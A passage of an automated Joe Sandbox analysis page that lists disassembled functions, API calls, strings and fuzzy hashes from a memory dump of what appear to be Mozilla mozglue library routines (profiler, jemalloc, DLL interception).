Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: cf433003a87245ac1c9d55817bb26f96993f2cd3c57fc6833d5d0ba341e19682
Instruction ID: a6aee42f160e9fb667ff1b9769c8def9952cc4c0d37b20123824e22b99f8757c
Opcode Fuzzy Hash: cf433003a87245ac1c9d55817bb26f96993f2cd3c57fc6833d5d0ba341e19682
Instruction Fuzzy Hash: E3511674B11707ABEB25AF359D4492A3AFCAB0A249710452DF912E6A51FB7ECC00CF74

Function 6C3734A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3735BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3735E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3736CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3738BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3739EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373EE2

Part of subcall function 6C376180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C3761DD
Part of subcall function 6C376180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C37622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3740F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C374157

Part of subcall function 6C376180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C376250
Part of subcall function 6C376180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C376292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C374448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C37484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C374863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C374878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C374896
free.MOZGLUE ref: 6C37489F

Strings

, xrefs: 6C374CD2

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 39695d4f2eec1780c29c1acd15e9d7abfc1d34e7b73a6c1ee048540a1906ed62
Instruction ID: 4dddae58992c7c5533cd3f5a8be0c0d55e1aafe81799c92dc85a265d1c0d4fad
Opcode Fuzzy Hash: 39695d4f2eec1780c29c1acd15e9d7abfc1d34e7b73a6c1ee048540a1906ed62
Instruction Fuzzy Hash: 8EF24B749097808FC731CF28C08469AFBF5BF8A314F118A5ED99997711DB72A896CF42

Function 6C35F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C35F09B

Part of subcall function 6C335B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3356EE,?,00000001), ref: 6C335B85
Part of subcall function 6C335B50: EnterCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335B90
Part of subcall function 6C335B50: LeaveCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335BD8
Part of subcall function 6C335B50: GetTickCount64.KERNEL32 ref: 6C335BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C35F0AC

Part of subcall function 6C335C50: GetTickCount64.KERNEL32 ref: 6C335D40
Part of subcall function 6C335C50: EnterCriticalSection.KERNEL32(6C39F688), ref: 6C335D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C35F0BE

Part of subcall function 6C335C50: __aulldiv.LIBCMT ref: 6C335DB4
Part of subcall function 6C335C50: LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C335DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C35F155
GetCurrentThreadId.KERNEL32 ref: 6C35F1E0
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F1ED
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F212
GetCurrentThreadId.KERNEL32 ref: 6C35F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F248
GetCurrentThreadId.KERNEL32 ref: 6C35F2AE
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F2BB
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F2F8

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F350
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F35D
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F381
GetCurrentThreadId.KERNEL32 ref: 6C35F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F3A0
GetCurrentThreadId.KERNEL32 ref: 6C35F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F491

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F3CF

Part of subcall function 6C35F070: GetCurrentThreadId.KERNEL32 ref: 6C35F440
Part of subcall function 6C35F070: AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F44D
Part of subcall function 6C35F070: ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F4A8
GetCurrentThreadId.KERNEL32 ref: 6C35F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F561
GetCurrentThreadId.KERNEL32 ref: 6C35F577
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F585
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C35F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C35F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C35F56A
[I %d/%d] profiler_resume, xrefs: 6C35F239

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: ec4c499c998b33111aade870a7e2eade4d217a430c5de18c2db0894db60bbb63
Instruction ID: 1ea8af41982c48f6e978bc28f032a72e3d29f73831123e51ab3bd31696c44e29
Opcode Fuzzy Hash: ec4c499c998b33111aade870a7e2eade4d217a430c5de18c2db0894db60bbb63
Instruction Fuzzy Hash: 9DD1F575A043049FDB109F68D404BAA77BDEF4E32CF51451AF99987B80EB725818CFA2

Function 6C3264C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C3264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C3264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C326505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C326518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C32652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C32671C
GetCurrentProcess.KERNEL32 ref: 6C326724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C32672F
GetCurrentProcess.KERNEL32 ref: 6C326759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C326764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C326A80
GetSystemInfo.KERNEL32(?), ref: 6C326ABE
__Init_thread_footer.LIBCMT ref: 6C326AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C326AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C326AF7

Strings

detoured.dll, xrefs: 6C3264DA
nvd3d9wrap.dll, xrefs: 6C326500
user32.dll, xrefs: 6C326526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C326798
nvdxgiwrap.dll, xrefs: 6C326513
_etoured.dll, xrefs: 6C3264ED

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: bd54b5ad51c0e514f947a7f11f84d4070052f1758e33bfc3cd9e4256e3e08b20
Instruction ID: 39df19b1c87b0ba5c93a0fabf3631eae53e28e5d67a6829bf1d6f0507248a06d
Opcode Fuzzy Hash: bd54b5ad51c0e514f947a7f11f84d4070052f1758e33bfc3cd9e4256e3e08b20
Instruction Fuzzy Hash: 47F1E370D052199FDF20CF24DC88BDAB7B9AF06318F144299E859E7641E736AE84CF91

Function 6C33D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C33D904
LeaveCriticalSection.KERNEL32(?), ref: 6C33D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C33D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C33E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C33E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33E315
AcquireSRWLockExclusive.KERNEL32(6C39E804), ref: 6C33E37C
GetSystemInfo.KERNEL32(?), ref: 6C33E3C7
__Init_thread_footer.LIBCMT ref: 6C33E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C39E810,00000040), ref: 6C33E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7B8,00001388), ref: 6C33E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E744,00001388), ref: 6C33E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E784,00001388), ref: 6C33E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7DC,00001388), ref: 6C33E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E768,00001388), ref: 6C33E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C33E52E
ReleaseSRWLockExclusive.KERNEL32(6C39E804), ref: 6C33E54F

Part of subcall function 6C32D960: EnterCriticalSection.KERNEL32(?), ref: 6C32D999
Part of subcall function 6C32D960: EnterCriticalSection.KERNEL32(6C39E7B8), ref: 6C32DA13

Strings

MALLOC_OPTIONS, xrefs: 6C33E3FF
MOZ_CRASH(), xrefs: 6C33E62B
<jemalloc>, xrefs: 6C33E61C, 6C33E6CC
Compile-time page size does not divide the runtime one., xrefs: 6C33E621
: (malloc) Unsupported character in malloc options: ', xrefs: 6C33E6DD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C33E560, 6C33E58A, 6C33E5A5

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 7ca91a0f4bfe0f9e01d7c9ce824a8ba941174a4198b199a73261fea15ef553e6
Instruction ID: 0a7f683f28d5c37dc30ce0933ab63152186944b3db8746f1f7e06631478e4058
Opcode Fuzzy Hash: 7ca91a0f4bfe0f9e01d7c9ce824a8ba941174a4198b199a73261fea15ef553e6
Instruction Fuzzy Hash: 9592BC72A157618FD704CF28C580715BBE5BF86728F29866DE8698B791E332E841CFC1

Function 6C37C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C37C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C37C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C37C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C37CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C37DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C37DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C37DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C37E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C37E472

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 32dab3181be2a2554b1329678d82bc3a642f469febaa44944adeefff412f8252
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 6733CD71E0021A8FCB14CFA8C8806EDBBF2FF89314F284269D955AB745D735A945CFA4

Function 6C33ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C33EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C33EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C341695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C341770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C341A3E

Strings

~q1l, xrefs: 6C33ED10
~q1l, xrefs: 6C33ED13

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q1l$~q1l
API String ID: 3693777188-2809891565
Opcode ID: 12eb717375bebaf66ad6caf9229d494f9d4f2553e13fd3ae5d2eb240a727a4ec
Instruction ID: 1085f12aa535e55e0c8dc16ee71acd86ab4e4b67767b60ddb9b0cd650e8d7dde
Opcode Fuzzy Hash: 12eb717375bebaf66ad6caf9229d494f9d4f2553e13fd3ae5d2eb240a727a4ec
Instruction Fuzzy Hash: 1AB31771E00269CFCB14CFA8C890A9DB7F2BF49304F6582A9D459AB745D731AD86CF90

Function 6C32FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7B8), ref: 6C32FF81
LeaveCriticalSection.KERNEL32(6C39E7B8), ref: 6C33022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C330240
EnterCriticalSection.KERNEL32(6C39E768), ref: 6C33025B
LeaveCriticalSection.KERNEL32(6C39E768), ref: 6C33027B

Strings

<jemalloc>, xrefs: 6C330D62, 6C330D76, 6C330DA7
: (malloc) Error in VirtualFree(), xrefs: 6C330D67, 6C330D7B, 6C330DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C32FE99, 6C32FEB7, 6C32FED3, 6C330DB8, 6C330DD3, 6C3319B4

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 83d1db86d737c92c983d23f7346aedb8755f47a62859ab5189181f5196a8027f
Instruction ID: f10728a20a334a03dade167807d7a3a2db6b3bc22171fdc74a9c6a5e8f93d2da
Opcode Fuzzy Hash: 83d1db86d737c92c983d23f7346aedb8755f47a62859ab5189181f5196a8027f
Instruction Fuzzy Hash: 84C2D171A057918FD714CF28C580716BBE1BF89328F28C66DE8A98B795D776E801CF81

Function 6C37E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C37E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C37EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C37F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C37F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C380E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C380E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C380EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C380ED4

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 27b70a8b886a16d927ea60dcbf5fa63db08e7f2964d59254649fc431746ebc6d
Instruction ID: 030ebde9897016f34901070c42968a2951629d9749cc978624eb5aaca98be4c9
Opcode Fuzzy Hash: 27b70a8b886a16d927ea60dcbf5fa63db08e7f2964d59254649fc431746ebc6d
Instruction Fuzzy Hash: EB639D71E0124A8FCB14CFA8C8906DDFBB2FF89314F298269D855AB745D734A945CFA0

Function 6C353E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C377770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>5l,?,?,?,6C353E7D,?,?), ref: 6C37777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C353F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C353F5C
VerSetConditionMask.NTDLL ref: 6C353F8D
VerSetConditionMask.NTDLL ref: 6C353F99
VerSetConditionMask.NTDLL ref: 6C353FA0
VerSetConditionMask.NTDLL ref: 6C353FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C353FB4

Strings

nvd3d9wrap.dll, xrefs: 6C354466
nvinit.dll, xrefs: 6C354479
C>5l, xrefs: 6C353E93

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>5l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-1704396530
Opcode ID: 10d25b3055db5ac5c0e0d420bbc125405a3913a56fc5b8bb5c657bbdb9ce3446
Instruction ID: 5991cfa3f6110c3594ddddadb39194e06608155ae1cf4fd7765b1159cf783271
Opcode Fuzzy Hash: 10d25b3055db5ac5c0e0d420bbc125405a3913a56fc5b8bb5c657bbdb9ce3446
Instruction Fuzzy Hash: DA52DF71610B898FDB14DF34C880EABB7E9AF45208F54092DE5D78B782DB34E919CB61

Function 6C32FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7B8), ref: 6C32FF81
LeaveCriticalSection.KERNEL32(6C39E7B8), ref: 6C33022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C330240
EnterCriticalSection.KERNEL32(6C39E768), ref: 6C33025B
LeaveCriticalSection.KERNEL32(6C39E768), ref: 6C33027B

Strings

MOZ_CRASH(), xrefs: 6C330CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C32FE99, 6C32FEB7, 6C32FED3, 6C330DB8, 6C330DD3, 6C3319B4, 6C331A10

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
